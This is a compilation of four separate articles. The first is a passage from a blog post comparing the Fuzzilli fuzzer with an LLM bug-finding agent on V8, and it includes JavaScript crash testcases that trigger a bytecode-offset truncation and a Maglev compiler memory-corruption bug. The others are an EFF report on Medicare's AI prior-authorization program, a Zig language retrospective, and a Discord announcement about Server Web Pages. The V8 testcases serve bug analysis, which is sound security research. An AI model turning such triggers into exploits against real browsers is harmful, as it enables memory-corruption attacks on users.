         0x2ad5001000e4 @    0 : 1b ff f9  Mov <context>, r0
         0x2ad5001000e7 @    3 : 0d 2a     LdaSmi [42]
         0x2ad5001000e9 @    5 : b5        Throw
         0x2ad5001000ea @    6 : d1        Star1
         0x2ad5001000eb @    7 : 8d f8 00  CreateCatchContext r1, [0]
         0x2ad5001000ee @   10 : d2        ...
         ...
         0x2ad5001000f7 @   19 : b7        Return
Handler Table (size = 16)
   from   to       hdlr (prediction,   data)
  (   3,   6)  ->     6 (prediction=1, data=0)

For the purpose of this bug, the relevant part is mostly the last line of the output. Here, the bytecode essentially says “if there is an exception while the PC is between offset 3 and 6 in this bytecode, then execution should continue at offset 6 (the start of the exception handler)”.

The Bug

The agent spotted the bug while looking at the following function, responsible for writing the handler table data structure in memory:

void HandlerTable::SetRangeHandler(int index, int handler_offset,
                                   CatchPrediction prediction) {
  int value = HandlerOffsetField::encode(handler_offset) |
              HandlerWasUsedField::encode(false) |
              HandlerPredictionField::encode(prediction);
  int offset = index * kRangeEntrySize + kRangeHandlerIndex;
  Memory<int32_t>(raw_encoded_data_ + offset * sizeof(int32_t)) = value;
}

Here, the int offset is being combined with a few other bits of data into a new int value. As such, the handler_offset cannot have the full integer range in the new field, possibly leading to integer truncation issues. The agent then investigated the specific bounds of these values and realized that the HandlerOffsetField had only 28 bits (allowing for 256MB) while the maximum bytecode size was 512MB! From there it was relatively simple to craft a testcase that crashes, simply by creating a huge function (resulting in >256MB of bytecode) with an exception handler at the end, then triggering an exception inside of it. The result is a jump to a wrong bytecode offset, a primitive that’s easily exploited. Here is the relevant part of the testcase:

// yield statements turn into a large chunk of bytecode
let kNumYields = 500000;

let body = `
  if ("foo" === "bar") {
    ${"yield* 42;".repeat(kNumYields)}
  }
  try {
    throw 42;
  } catch (e) {
     // Will never get here
  }
`;

Such a testcase would again be difficult to craft by a fuzzer as the fuzzer isn’t rewarded for creating large code (at least not with generic coverage feedback). In fact, the fuzzer is likely even actively discouraged from finding this bug since generating and executing large bytecode takes some time (in debug builds, the testcase generated by the agent needs a few seconds to trigger) and would therefore probably have led to timeouts during fuzzing.

Fuzzilli: Chrome Bug 40076141 (November 2023)

This bug is a good example of a type of bug that is likely difficult to find just by looking at (one part) of the source code. It was originally discovered by Fuzzilli and not rediscovered by any of the experiments from part 2.

Background: Value Representation in V8

Consider the following piece of JavaScript code:

let i = 42;
let f = 13.37;
let s = "foobar"
i = s;

Here we create multiple variables holding values of different types. Note, however, that we never declare the type of a variable, and that variables can hold values of different types throughout their lifetime ( i first contains an integer, later a string). What we see here is that JavaScript is a dynamically typed language, and so variables (and also object fields, etc.) have no fixed type. However, the actual runtime values still need to have a type: the engine somehow needs to know that foobar is a string value and that certain operations (e.g. substring search) can therefore be performed on it. Conceptually, this is possible by representing runtime values with a struct such as

enum JSType {
    JS_TYPE_INT,
    JS_TYPE_FLOAT,
    JS_TYPE_STRING,
    ...
};

struct JSValue {
    JSType type;
    // Either the raw value or a pointer to another object, e.g a JSString.
    uintptr_t value;  
};

However, this is somewhat inefficient since we now need something like 16 bytes to represent a simple 4-byte integer at runtime. As such, modern JS engines use clever tagging schemas, which rely on unused pointer bits to encode type information. Specifically, in V8 the JSValue type is a tagged pointer (or just tagged for short) which stores one bit of type information in the least-significant bit:

If the bit is one, then the value minus 1 is a pointer to another object. This works because objects are aligned and so cannot start at an uneven address.
If the bit is zero, then the next 31 bits contain a raw integer value (also called a small integer - Smi)

As such, to figure out the type of a value at runtime, the engine first looks at the least-significant bit. If that is zero, the value can be “untagged” to obtain the integer value by right-shifting by one. On the other hand, if the bit is one, the value is a valid pointer to an object that contains further type information. For more details on V8’s pointer tagging scheme see also this blog post .

The Testcase

Let’s start by looking at the testcase produced by the fuzzer, which isn’t overly long:

function f0() {
    let v2 = 1;
    for (let i3 = v2; i3 >= v2; i3 += v2) {
        v2 = v2 && i3;
    }
}
f0();

The bug is caused during optimization of the loop by the Maglev compiler, specifically due to a conflict between two stages of the compiler pipeline: the initial graph builder and the later MaglevPhiRepresentationSelector.

The Graph Builder

The graph builder is responsible for building the initial Maglev intermediate representation (IR) of the code. For that, it consumes both the input code (in the form of V8 bytecode) as well as runtime feedback that was collected while the code executed in lower tiers such as the interpreter. When processing the loop in this testcase, the following happens:

Both i3 and v2 are modified during the loop. Since the IR uses static single-assignment (SSA) form , these turn into Phi nodes, which make the code look like every variable only has a single assignment :)
For the i3 >= v2 comparison, the runtime feedback states that i3 was so far always a Smi and therefore speculates that this will be the case in the future. It guards this assumption by emitting a CheckedSmiUntag , which will extract the raw int from the tagged value and will bail out to the interpreter if the input is ever not a Smi.
For the following operations on v2 , the compiler can then rely on the existing check and emit UnsafeSmiUntag nodes, which avoid the runtime checks but are only safe to use if the input is guaranteed to be a Smi.

The resulting code for the loop now looks roughly like this (in Maglev pseudocode):

loop:
  i3 <- Phi(1, i3_next)                   // loop variable, tagged
  v2 <- Phi(1, v2_next)                   // loop variable, tagged

  i3_int <- CheckedSmiUntag(i3)           // deopt if i3 is not a Smi
  v2_int <- CheckedSmiUntag(v2)           // deopt if v2 is not a Smi
  if i3_int < v2_int: break

  v2_next <- Phi(i3, v2)                  // result of `v2 && i3`: "known Smi"
  v2_next_int <- UnsafeSmiUntag(v2_next)  // no (re-)check needed
  i3_next_int = i3_int + v2_next_int
  i3_next <- Int32ToNumber(i3_next_int)   // tag the int32 result for the phi

The MaglevPhiRepresentationSelector

The purpose of this optimizer is to identify Phi nodes where all inputs have the same raw representation (e.g. int32), and if so convert the Phi to that representation to avoid future untagging operations. For the code above, the code sees that both inputs to i3 are int32 and therefore decides to convert the Phi to int32 representation. Following CheckedSmiUntag operations then become a no-op and can be removed, while consumers that need a tagged value now require a conversion step. With that, the final code now looks like this:

loop:
  i3 <- Phi(1, i3_next)                   // all inputs int32, so i3 becomes a raw int32
  v2 <- Phi(1, v2_next)                   // stays tagged

  v2_int <- CheckedSmiUntag(v2)
  if i3 < v2_int: break                   // CheckedSmiUntag(i3) removed as a no-op

  i3_tagged = Int32ToNumber(i3)           // HeapNumber if i3 >= 2^30!
  v2_next <- Phi(i3_tagged, v2)           // stays tagged, needs tagged inputs
  v2_next_int <- UnsafeSmiUntag(v2_next)  // HeapNumber pointer treated as a Smi
  i3_next <- i3 + v2_next_int             // tagging no longer needed here

The Conflict

The bug now occurs because of two optimizations interacting badly with each other:

The graph builder uses UnsafeSmiUntag as it believes that the value must be a Smi at this point
The representation selector removes a CheckedSmiUntag as it believes it is no longer required

Specifically, what can happen now is that eventually, i3 becomes larger than the maximum Smi value. At that point, Int32ToNumber can no longer fit the integer into a Smi and instead allocates a HeapNumber object (a container holding a larger number, basically). At this point, however, the UnsafeSmiUntag is no longer safe as the input is now a pointer. This leads to a corrupted pointer value being extracted and subsequently to memory corruption. Note that in the original code, this could not have happened as the HeapNumber would’ve been rejected by the CheckedSmiUntag(i3) .

What may have made this bug difficult to find for BigSleep is the fact that both optimizations are correct in isolation . As such, looking at just one of them would’ve made it difficult to spot the issue. The agent would somehow have needed to hypothesize about the other optimization or stumbled upon the relevant code by chance (or exhaustive search).

Overview

Looking at the examples above as well as other bugs found by LLMs, we can see a few clear examples of bugs where an LLM has the advantage:

Bugs that require complex logic to trigger but can be found through progressive logical reasoning and experimentation with the target program, such as crbug.com/449760249 discussed above. This is likely the strongest advantage.
Bugs that require specific “magic” values (e.g. edge-case integers, specific strings, etc.), such as crbug.com/443765373 discussed above.
Bugs that require new (or less common) features that a fuzzer may not be aware of. Examples include crbug.com/436181695 , where the fuzzer didn’t support the new await using syntax yet, and in fact also crbug.com/449760249 above where Fuzzilli lacked support for labeled breaks at the time.
Bugs that require a non-standard harness, custom flags, or special helper tools/functions that a fuzzer is not configured to use (e.g. crbug.com/516833326 which required --expose-fast-api and the d8.test.FastCAPI API).

On the other hand, here are some advantages that fuzzers enjoy (for now):

They can find “non-local” bugs reasonably well if not too many individual pieces are required. crbug.com/40076141 discussed above is an example for such a bug.
They can find bugs that are hard to spot by reasoning about the source code alone. One clear example would be bugs caused by (incorrect) C++ compiler optimizations such as crbug.com/500771385 . Another potential example is bugs such as crbug.com/414840455 , which are related to handling dead code in V8’s compilers. This is likely an unusual state and therefore may be hard to reason about. BigSleep missed a few of these in our experiments.
They are immune to certain biases affecting the agentic approaches, such as the choice of starting point (e.g. commits), the exact prompt phrasing, or the bug types seen (and not seen) during training. They do suffer from other types of biases though (e.g. the weights of individual mutators and generators).
They don’t get distracted by “shallow” bugs, whereas BigSleep missed a few bugs because it found easier ones instead. This is probably somewhat self-correcting though as the shallow bugs would eventually get fixed, giving the agent another chance to discover the deeper bug.

There is probably also a category of bugs that are hard to find for both approaches: bugs that are very non-local (bad for the agent) and require complex testcases (bad for the fuzzer) to trigger. In this case, a fuzzer would probably discover the individual pieces of the testcase (through coverage feedback) but won’t be able to find the right combination to trigger the bug (as in our first example). A code-reviewing agent, on the other hand, may struggle with the large search space of code fragments that may interact badly with each other (as in our last example). This is only a hypothesis, however, and would require further experiments and data to validate.

Part 4: Conclusion

In this blog post, we’ve compared coverage-guided fuzzers with vulnerability-discovery agents that read and reason about the source code. Specifically, we’ve looked at Fuzzilli and BigSleep, which both run as automated pipelines on V8 to discover newly introduced bugs. Looking at the data from those pipelines, we saw a roughly equal share of vulnerabilities found in the last 6 months (around 40 each), and a moderate overlap in discovered bugs of around 25%. However, in a dedicated experiment, overlap was closer to 60%. For now, this means that the two approaches remain complementary, and specialized fuzzing continues to provide value by finding bugs quickly and identifying certain kinds of issues that are otherwise hard to spot. At the same time, LLMs only very recently became capable of finding bugs in software like V8 at all, and have made tremendous progress since. The model used for our experiment is by now already outdated and outperformed by newer generations. Looking to the future, we expect further model improvements, potentially coupled with better prompting and more flexible harnesses (that e.g. allow the model to build, improve, and run fuzzers itself instead of being limited to pure code auditing), to lead to a growing share of bugs being discovered by agentic systems.

New records obtained by EFF expose additional issues with Medicare’s AI-driven prior authorization program and show why we need stronger legal limits around government use of automated decision-making .

EFF sued the government back in March for information about the Wasteful and Inappropriate Service Reduction (WISeR) model , a new Medicare program that uses AI to evaluate prior authorization requests for certain medical services. We previously released records showing that WISeR has resulted in delays and denials of care, operational chaos, and reports of patient harm. Today, we’re publishing over 800 new pages of records, including:

Requests for information (RFIs) or requests for corrective action plans (CAPs) sent from the Centers for Medicare & Medicaid Services (CMS) to four of the six WISeR vendors, along with the vendors’ responses.
Applications of 66 companies to the WISeR model, including those of the 6 selected companies.
Task orders and contracts for the evaluation, implementation, and monitoring of the WISeR model.

Documents obtained through EFF’s lawsuit are available here .

These newly released documents show that the WISeR rollout was rushed and rocky from the start, highlighting the dangers that arise when governments treat AI like a silver bullet for complex problems. The documents also highlight the need for more transparency about safeguards against inappropriate, AI-driven denials. The public still lacks the information needed to assess whether clinician review is providing meaningful oversight of AI systems and whether appropriate data is being used to evaluate prior authorization requests.

EFF has long argued that AI has no place in consequential government decisions about peoples’ rights or access to benefits, such as immigration enforcement and policing decisions. That’s because using automated decision-making in these contexts risks decisions that violate people’s rights or deprive them of benefits they’re entitled to based on biased or inappropriate considerations and without proper due process or accountability if there is an error.

By outsourcing decision-making to private AI companies without sufficient transparency, testing, or legal limits, WISeR jeopardizes seniors’ access to medical care. Congress should step in to place greater legal limits on the use of automated decision-making in Medicare.

WISeR’s Rollout Was Rushed and Rocky

CMS launched the WISeR program just six months after announcing it, ignoring calls from medical providers to delay its rollout. In records previously released by EFF, CMS acknowledged this “ extremely condensed timeline .”

New records suggest that WISeR’s unusually rapid rollout contributed to widespread problems in the first few months of the program. CMS did not disclose the extent of these issues to the public, even as agency employees privately contacted vendors about potential noncompliance with program requirements.

In the first three months of the program, CMS sent RFIs or requests for CAPs to at least four of the six WISeR vendors. These requests, which describe delays, technical failures, and a lack of communication with providers, suggest that widespread problems during the program’s rollout were not limited to one vendor or state.

These letters underscore the severity of the problems with the program. For example, CMS requested information from one vendor, Virtix, about numerous reported issues, including “ determination turnaround times that exceed established guidelines ,” “ denials that appear inaccurate or inconsistent with applicable criteria ,” and “ inadequate customer service .” CMS’s RFI to Zyter–a vendor that uses Palantir software infrastructure –observed that the agency had received reports that “ Zyter is not issuing determination letters in a timely manner ” and communications indicating that it “ may lack adequate processes for responding to and escalating provider/supplier concerns .” The vendor Innovaccer received two CAP requests and a “Performance Notice of Non-Compliance” over its failure to implement a fully functional portal for WISeR providers and suppliers.

Excerpts from CMS’ letters to vendors describe problems during WISeR’s rollout:

Vendors’ responses to CMS provide further evidence that WISeR’s rushed rollout contributed to its problems. Innovaccer claimed it warned CMS months in advance that it might not be ready to provide full portal functionality by the launch date, even before signing a Participation Agreement. Another vendor claimed that “technical and workflow stabilization challenges were encountered due to the compressed implementation timeframe” it faced after joining the WISeR program a month after the other vendors.

The issues reflected in CMS’s letters to vendors, and the vendors’ responses, illustrate the risks of deploying automated decision-making systems without proper testing or safeguards. While vendors’ responses describe fixes for the problems CMS identified, after-the-fact remedies cannot undo the harms that patients and providers already experienced during WISeR’s rushed rollout.

More Transparency Needed About AI Safeguards

The public still knows far too little about any safeguards that WISeR vendors may have adopted—in part because the government chose to conceal some of this information. Transparency about these safeguards is critical to protecting patients, especially because WISeR’s payment structure gives vendors, as the government put it, “ an incentive to deny as many claims as possible .”

Information provided by a vendor about safeguards that it says "ensure the responsible and clinically appropriate application of automation” appears to have been redacted from records released to EFF

The public has limited means to evaluate the effectiveness of even the safeguards that weren’t redacted from records released to EFF. For example, one vendor’s application touts safeguards like “ Human-in-the-loop (HITL) workflows ,” “ Continuous model monitoring ,” and “ Transparent audit trails .” Yet it remains unclear whether these measures effectively prevent improper prior authorization denials. Some evidence suggests they may not: the company denied more requests than it approved in the first few months of the program, and CMS inquired about “ denials that appear inaccurate or inconsistent with applicable criteria .”

Ultimately, the records obtained by EFF raise more questions than they answer about the safeguards used by WISeR vendors.

Having a Human in the Loop Is Probably Not Enough

CMS has emphasized having a human in the loop as a key safeguard against inappropriate, AI-driven denials. The WISeR FAQ page on the CMS website states that “Non-affirmations will require the review of a human clinician and cannot be performed solely by technology.” But whether human review provides any meaningful protection depends on the details of its implementation , such as whether human reviewers have enough time to evaluate requests and practical authority to override AI recommendations. We still lack many of those details for WISeR vendors.

A growing body of scholarship points to the substantial limitations of “human in the loop” policies as guardrails for AI systems. AI-generated recommendations can unduly influence human decisions, leading reviewers to over-rely on automated judgements and rubber stamp them as correct. Even worse, at least one health insurance company actively pressured clinical reviewers to accept its AI systems’ recommendations. Another company built a system that allowed clinical reviewers to reject claims without opening patient files; clinical reviewers using this system spent an average of just 1.2 seconds on each case.

Is the Right Kind of Data Informing Companies’ Decisions?

Some WISeR vendors’ applications offer general descriptions of the types of data informing their decisions. But far more details are needed to allow medical professionals to assess whether the data inputs to these AI systems are appropriate for evaluating prior authorization requests.

Inappropriate training data or input data can lead to biased, unfair, or inaccurate decisions. CMS guidance for Medicare Advantage organizations using AI to make coverage decisions emphasizes the importance of basing decisions on individual patients’ circumstances. It cautions against using “an algorithm that determines coverage based on a larger data set instead of the individual patient's medical history, the physician’s recommendations, or clinical notes.”

WISeR vendors’ applications reference data sources like “ provider behavior ,” “ patient demographics ,” “ utilization management datasets ,” “ provider and payer performance metrics ,” and “ historical claims data .” Whether these sources could introduce bias or give too much weight to population-level patterns depends on how vendors use them to inform individual decisions. But we don’t yet have these important details about vendors’ data and algorithms. By outsourcing decision-making to private companies’ AI systems, the government has made it harder for the public to evaluate whether decisions are being made fairly.

Next Steps

As the government expands its use of automated decision-making, the potential for consequential mistakes increases rapidly. The records we’ve obtained so far raise questions about the rushed rollout and lack of guardrails for automated decision-making by the U.S. government. EFF urges transparency, oversight, and legal limits to protect people from the harms of automated decision-making in high risk systems.

Original Article

2026-10-27 · 15 min · #computing

It has been about four months since I returned to Zig after being absent for a few years. In this time, I have written some software in Zig and reengaged with the community, online and in person. I decided to share some of that experience, including what I have liked about Zig so far and what I haven't. I'll include some comparisons to Rust along the way since that was my previous go-to language.

Projects

The first project I started in Zig was snurl . It is a library for interacting with the smallnet (Gemini, Finger, Gopher, Spartan, and such). My goal has been to provide an alternative to curl for the smallnet, with similar testing and fuzzing requirements but on a smaller scale. I wanted to roughly follow TigerStyle insofar as it made sense for the project.

Something I ran into early on was that the fuzzer didn't actually work. When getting excited about fuzzing in my last post, I didn't realize that the feature had not yet been completed. This isn't surprising, considering Zig's status, but it was disappointing, especially since the fuzzer is demonstrated in the generated main.zig file provided by zig init .

After this, I wrote a two programs which I have not published yet. The first is a small TUI typer racer. It was simpler than I expected to get a minimum version working so far. The second is an n-body simulator with stellar evolution using raylib.

Zig Day

The most exciting opportunity in the last few months was the chance to go to a local Zig Day. I learned of Zig Day Seattle occurring on Lobsters on August 20th. I was ecstatic to learn that there was a Zig Day in my area. Then I saw Andrew Kelley would be there and became more excited.

Zig Days are local meetups where people interested in Zig hang out, work on their projects together, and talk about Zig. For this Zig Day, I decided to work on snurl. A friend, Evin Yulo also decided to attend.

The event itself occurred in the Bothell library, moved there from the Bellevue library after so many people signed up that capacity was overwhelmed. Having the creator of Zig at the event will do that.

I love the format of these Zig Days and I'm glad they are a part of the community. Since they are run by local groups, it gives the whole Zig community a more interconnected feeling. It's a way to interact with other people who are interested in Zig in person. And, in this case, the creator of Zig itself.

I got the chance to talk with other programmers about their projects. Hopefully some ideological cross-pollination occurred that will make all our projects stronger. I ended up working on snurl with evin, who started work on integrating Zig's standard library TLS implementation as alternative backend.

I also briefly talked with Andrew Kelley. I hope Zig's built-in fuzzing gets fixed sometime soon!

Ryan Hendrickson wrote an excellent article outlining more of the events of that day from his perspective if you want more details.

I will definitely be attending Zig Day Seattle again in the future. I may even head down to Portland to catch one before the next local one comes around. I enjoy the opportunity to connect with other people interested in Zig and its values.

What I've Liked

anyzig

I love anyzig . I've had to use zig master and 0.16.0 for different projects, and anyzig has made that doable.

Unfortunately, it breaks outside of directories without a build.zig.zon , meaning if you have tooling that requires a zig command to work, it can only occur in project directories. This breaks autoformatting for my one-off Zig scripts. Maybe a default zig version could be provided in that case.

IO and Allocators

I know it frustrates some people, but I love the fact that you have to pass IO and allocator parameters to functions in Zig.

Allocators

I'll start with allocators, since they've been around longer. For each Zig function you have to accept an explicit allocator parameter. This is different from most programming languages which either use a default allocator that may be changed globally or one changed by a local context (see Odin).

I like being able to change allocators for different parts of code. You might want an arena allocator for some things but need a general purpose allocator for others. Sometimes a FixedBufferAllocator is all you need to perform an operation. Zig's style makes this all obvious to handle.

I prefer Zig's system to Odin's implicit context system since Zig keeps things explicit. It's clear whether a function allocates memory or not, and hard to accidentally pass in the wrong allocator.

This is also superior to Rust's hidden, infallible allocations that panic when memory is exhausted. They're working on adding explicit allocations, but this will be yet another feature tacked onto the language rather than something built from the ground up.

It's much easier to reason about programs that allocate memory in Zig.

IO

The IO parameter is even more powerful, even if it is newer. It is well worth the breaking changes required to bring it about (even if I skipped the 0.15.0 -> 0.16.0 transition). In Zig, every function that interacts with the underlying operating system (with caveats) requires an "IO" parameter. This provides the context for input, output, and everything else. Porting Zig to new operating systems is mostly just porting IO.

Practically, this is really nice for testing. When testing behavior, you just need to put in a testing IO instance that works as you need it to. You can change the input stream however you want, cause writes to fail, and anything else.

Just like with allocation, passing an IO argument makes it clear which programs are pure and which ones are not. You can tell at a glace whether or not a program is going to modify something external.

Zig has a really good track record of keeping things simple while also adding powerful features. Instead of adding 100 small features that do slightly different similar things, it tends to provide one major feature that supports all the various other use-cases. Low floor, high ceiling.

Comptime

I love comptime. It's a seamless way to do metaprogramming and precomputation all in one. Other people have written more detailed accounts so I shall move on.

Build System

Zig's build system is stellar. So much so that companies like Uber have adopted it for their software written in other languages.

One thing I like about it is that I can integrate other tools with it seamlessly in ways that Cargo complains about. This is especially important for one of my projects that involves code generation.

Dependency Culture

Zig has an excellent dependency culture. The main ethos is simple: avoid. When you don't need a dependency, don't add one. However, when you do, it's often a battle-tested library that Zig can effortlessly integrate with translate-c. You can easily also vendor in external dependencies and audit their code.

Most of my Zig programs have about one or two direct Zig dependencies, with zero indirect dependencies. This makes the codebase much easier to audit and control.

This stands in stark contrast to Rust, where the smallest of my projects regularly have a few direct and dozens of indirect dependencies.

This is thanks both to Zig's dependency culture and the fact that essential features like reflection, random number generation, clean error handling, and JSON parsing are built into the language or standard library rather than maintained as separate individual libraries. No need to depend on serde or syn in every program.

Zig encourages careful consideration before adding dependencies, and I appreciate that.

Handling Errors Effortlessly

Zig pushes programmers to handle errors correctly by default. The laziest way to handle errors in Zig is to use the try keyword and add ! to the function's return type.

This contrasts to Rust, which leads programmers to insert panics into their code. The issue is that it's often easier to panic when prototyping, and then leave that in the code longer than it should be. I've used production code written in Rust that panic instead of returning a proper error.

In Rust you can use ? , which is quicker than unwrap , but you also have to do something like Result<Type, Box<dyn std::error::Error> . That's a mouthful! Alternatively, you can use the anyhow crate and return anyhow::Result , which also provides some nice helper methods. But then you have to add a dependency for reasonable error handling. There's also Zig-style composable errors with yet another library.

Incremental Compilation

The core team members at Zig have been doing amazing work at incremental compilation. If you run zig build --watch -fincremental , the compiler will watch for changes, check exactly what you changed, and then modify only what you've changed down to linking. No effort beyond what's required, so it's faster that human perception even for large codebases. Zig was designed from the ground up to support this behavior.

This makes for a really nice workflow. I can just run the compiler in incremental mode right next to my text editor, and get updates on my code as I save. No time to get distracted with something else. With Rust projects 10+ seconds incremental compilation loops were common even in smaller projects. That's enough time to get distracted but not enough time to be productive doing something else, leaving annoying gaps that Zig eliminates.

Rust is disadvantaged here. It's a stable language that needs to maintain backwards compatibility. This means it can't afford to break things in order to improve compilation speed, at least not to any large degree. Meanwhile, if it makes Zig better, the maintainers are willing to break just about anything to ensure the end result will be perfect.

Currently, Zig only supports incremental compilation on x86_64 on Linux and macOS. If you use another operating system or architecture you won't have access to this feature yet, but in that case it's another thing to look out for!

This makes Zig just a bit more wonderful to work with. I'll take it.

What I'd Like to See

Improved Stability

Like every other user of Zig, I would like to see the standard library become more stable. I know that's one of the last tasks to do before 1.0, and there are many others before then, but it is frustrating to deal with the constant breakage in the ecosystem. My understanding is that that's why 0.17.0 took so long to be released.

Andrew Kelley said at Zig Day that he would like to see 1.0 more than anyone. I believe him, so I will have patience and trust that the final version will be excellent.

This is the one reason I still use Rust for some projects. Some cases require a stable programming language and the ecosystem that provides. But considering the impressive software that's being built in Zig these days, stability isn't everything. And there are projects for which the niceties of Zig outweigh its instability. I can't wait for 1.0.

Lifetime Support

I would like to see more assistance with lifetimes in the Zig compiler. Specifically, I would like to see returning local variables to fail in debug mode, either as a kind of built-in lint (as Andrew Kelley has mentioned wanting to implement) or as literally invalidating that memory after the function returns. That way new users quickly learn to avoid that pattern. Currently, it's easy to unintentionally break your code this way, even if you think you understand lifetimes.

Relatedly, the compiler currently accepts code that will be broken in the future. The compiler lets variables live the entire scope instead of the scope of a block. This means that if you stack-allocate a buffer and return it from a block, that buffer should be invalidated but isn't. My understanding is that this could silently break in a future Zig version.

// This works but will be invalid.
const foo = blk: {
	var buf: [1024]u8 = undefined;
	const n = try writeToBuf(&buf);
	break :blk buf[0..n];
};

Comptime Allocators

I would love to parse JSON at compile time. For one of my projects, there is a JSON file that is stored inside the binary. It's static and could be parsed at compile time into a collection of structs.

However, the standard library JSON parser requires an allocator. Because there are no allocators that work at compile time, this means that any JSON parsing must be done at runtime. So that's what I did with my project.

I believe there is an intention of adding a JSON parser that does not require an allocator (the data already exists in the JSON string, after all). That will solve the immediate problem, but there are more general cases that may require an allocator. I believe FixedBufferAllocator worked at compile time before and served this purpose. It could do so again.

Better Bootstrapping

Zig's bootstrapping story is impressive. They erased the C++ version of their compiler and replaced it with a small WASM blob and WASM interpreter . The WASM file is a stripped-down version of the compiler that compiles the full Zig compiler to C, which is then compiled by the system C compiler. It's an interesting approach and you should read the linked article if you want more details.

The one caveat to this is that it requires the compiled binary blob checked into the source code. This is better than requiring the full previous compiler (like Rust), but it's not as good as having the full source available for every step of the process at all points. A malicious actor could still sneak something into the blob. More importantly, many distributions (like Debian) cannot properly package Zig at the moment because it's impossible to do so in a way that's compliant with their guidelines.

Their original plan was to use the compiler's C backend to generate a C version of the compiler which would then be maintained separately. They would then have two different source versions. They decided this approach would be too difficult, unfortunately.

Because of this, someone will have to make another Zig compiler in another language (probably C) that will improve the bootstrap process. This is explicitly not something the Zig Software Foundation wants to develop right now. This means that at the moment there is no way to bootstrap Zig fully from source.

This issue isn't just a theoretical problem. Because Zig can't be packaged on Debian, I had to choose another language for one of my projects to ensure wider possible usage.

Fortunately, this issue is temporary. Once Zig is stable, building an alternative compiler should be straightforward. Zig is designed to be a simple language where alternative implementations are humanly achievable, unlike other languages . Currently, the instability means any alternative compiler will be playing a constant game of catch-up, which is probably why the core team doesn't want to manage it while they're rapidly iterating.

Alas, this may also require waiting for 1.0. May it come soon!

Moving Forward

I will continue to use Zig. I'm excited about the direction it's going and I look forward to continuing to be a part of its community. So far, I've found no other programming language that I prefer more than Zig, even with its shortcomings. It's just stable enough that I don't have to make massive changes between releases. It will continue to be my go-to programming language for most projects.

One of these projects is ReTangled . It was previously written in Rust but I grew tired of the massive dependency trees and want to take full advantage of Zig's build system.

I've also been looking to contribute more to Zig directly. Between my limited time as a student, Zig's overflow of contributors already, and the poor documentation, this will be a challenge. But I want to contribute back, make an impact on the project, and become a better software engineer. Thankfully, improving contributor onboarding seems to be a priority for Andrew Kelley moving forward.

I'll also be at future Zig Days in Seattle, if you want to meet and work on Zig projects together!

Original Article

An example of a Server Web Page. The page is for Dead by Daylight’s official server, with conversations about character builds shown on the Server Web Page.

Discoverable Servers are the most public spaces on Discord, with at least 1,000 members. Their admins chose to list them in Server Discovery so anyone can join them, no invite link needed.

Discussions in Discoverable Servers will soon be easier to find when you search the web, so you can find the answer you’re looking for and step straight into the conversation on Discord. Admins and members can decide if and how their content is shared, and those controls start rolling out today, ahead of any changes.

TL;DR:

Help people find your community with Server Web Pages. A Server Web Page is a page on the web that describes a Discoverable Server, so people can decide whether they want to join. Starting November 16, 2026, all Discoverable Servers will have a Server Web Page. These pages may also display summaries of discussions happening in public channels (those visible to everyone in the server), to give a better sense of what people are talking about. Some messages from public channels may show on Server Web Pages and in web search beginning in mid-December 2026. The rollout is gradual, so it may be a few weeks before the first messages start appearing on the web.
Server admins can opt channels out starting today, before anything goes live on November 16, 2026. Controls for admins are in Server Settings > Web Presence. You can choose which channels take part, or opt all channels out. If you don’t change anything, public channels stay on, and your Server Web Page goes live on November 16, 2026, if you don't already have one.
Users have control over whether their messages are shown. If you'd rather your messages weren't shown, you can turn that off starting today in User Settings > Data and Privacy , before messages start rolling out in mid-December 2026 (or anytime after). One setting covers Channel Messages in every Discoverable Server. Channel Summaries are generated separately, from broader channel topics, and will still appear on Server Web Pages unless admins choose to turn them off. Usernames and avatars won't be shown alongside messages on Server Web Pages
Private servers, DMs, and GDMs are always private and not included in these changes. These changes are limited to Discoverable Servers.

How servers work today

Over the years, Discord has built different kinds of spaces, so every group can decide how big the party gets and who can find it:

Most servers are small, private spaces. They're meant for you, your friends, and nobody else.
Community Servers are for bigger groups , with the tools to handle a crowd. Though someone still has to send you an invite link.
Discoverable Servers are the most public spaces on Discord . To qualify, a server needs at least 1,000 members, has to be at least eight weeks old, and must meet activity and safety requirements . Anyone can find and join them, no invite link needed. Today’s announced features only apply to this type of server.

A comparison chart re-stating the differences between Discoverable, Community, and Friend servers.

Today, there are more than 63,000 Discoverable Servers, spanning communities from speedrunning to language learning to niche corners of every fandom. People find their way into communities they'd never have stumbled across otherwise. Until now, that's all being Discoverable meant.

Why this matters

Server Discovery was built for finding servers, not answers. Ever wanted to look up tricks for a faster speedrun? Or whether a powerful item is worth grabbing, or if it will completely ruin your build? Someone has almost certainly already answered it in a channel somewhere, in one of 63,000 Discoverable Servers. It can just be hard to find.

Prior to Discord's launch, message boards were common, ranging from community-driven forums to official ones run by game studios. These message boards excelled at hosting long-form, structured conversations about helping people, theory crafting, and more. While they still exist today, many have moved into Discord servers. This has led to valuable information being locked in Discord conversations, inaccessible to the wider internet. We want to fix this.

By giving admins the option to make certain channels discoverable from the web, we can help more people find and benefit from the knowledge shared in Discord communities.

We expect this to help different types of communities in various ways:

For fandoms, you can make specific channels an easy-to-find resource that answers the top questions new players ask.
For content creators, you can more easily promote events and new content drops.
For indie game developers, you can use public channels, including forums, to share updates and wiki-style information about your games.

What's new for Discoverable Servers?

Server Web Pages live on the open web and give people a glimpse of what a Discord community is about before they join. They’ve been available to Discoverable Servers for some time, but setup takes a few steps, so not every Discoverable Server has created one. Learn more about Server Web Pages .

Starting from November 16, 2026, every Discoverable Server will have a Server Web Page. If you’re an admin and have already set one up, you don't need to do anything. If you don’t have one and want to get a head start on how your community shows up to the rest of the internet, you can go through the setup process today and publish it in a few clicks. If your moderation team doesn't set one up beforehand, a default page goes live for you on November 16, 2026, using details from your Server Profile. You can edit it whenever you like. Having a Server Web Page is a core part of being a Discoverable Server. If you don't want one, you can always switch back to being a Community Server .

Server Web Pages are also getting more useful. Until now, your Server Web Page has shown a small description of what your community is about. From November 16, 2026, it may also start showing what your community is talking about. Including this helps someone with a question find their way to your community if it already has the answer.

Channel Summaries. These show a small slice of what's being talked about in your server, directly on your Server Web Page. These automated summaries focus on active conversations from November 16, 2026, onwards. Admins can change which channels they draw from, curate the summaries that are shown, or turn them off entirely. Usernames and avatars will not be shown in summaries.

A close-up of what a Conversation Summary would look like on Dead by Daylight’s Server Web Page, showing a few key takeaways and emoji reactions used in the conversation.

Channel Messages. From mid-December 2026, answers to questions your members sent in public channels can be found in a web search, in their own words. Server admins decide which channels take part, and server members can choose whether their own messages appear. Usernames and avatars will not be shown alongside these messages.

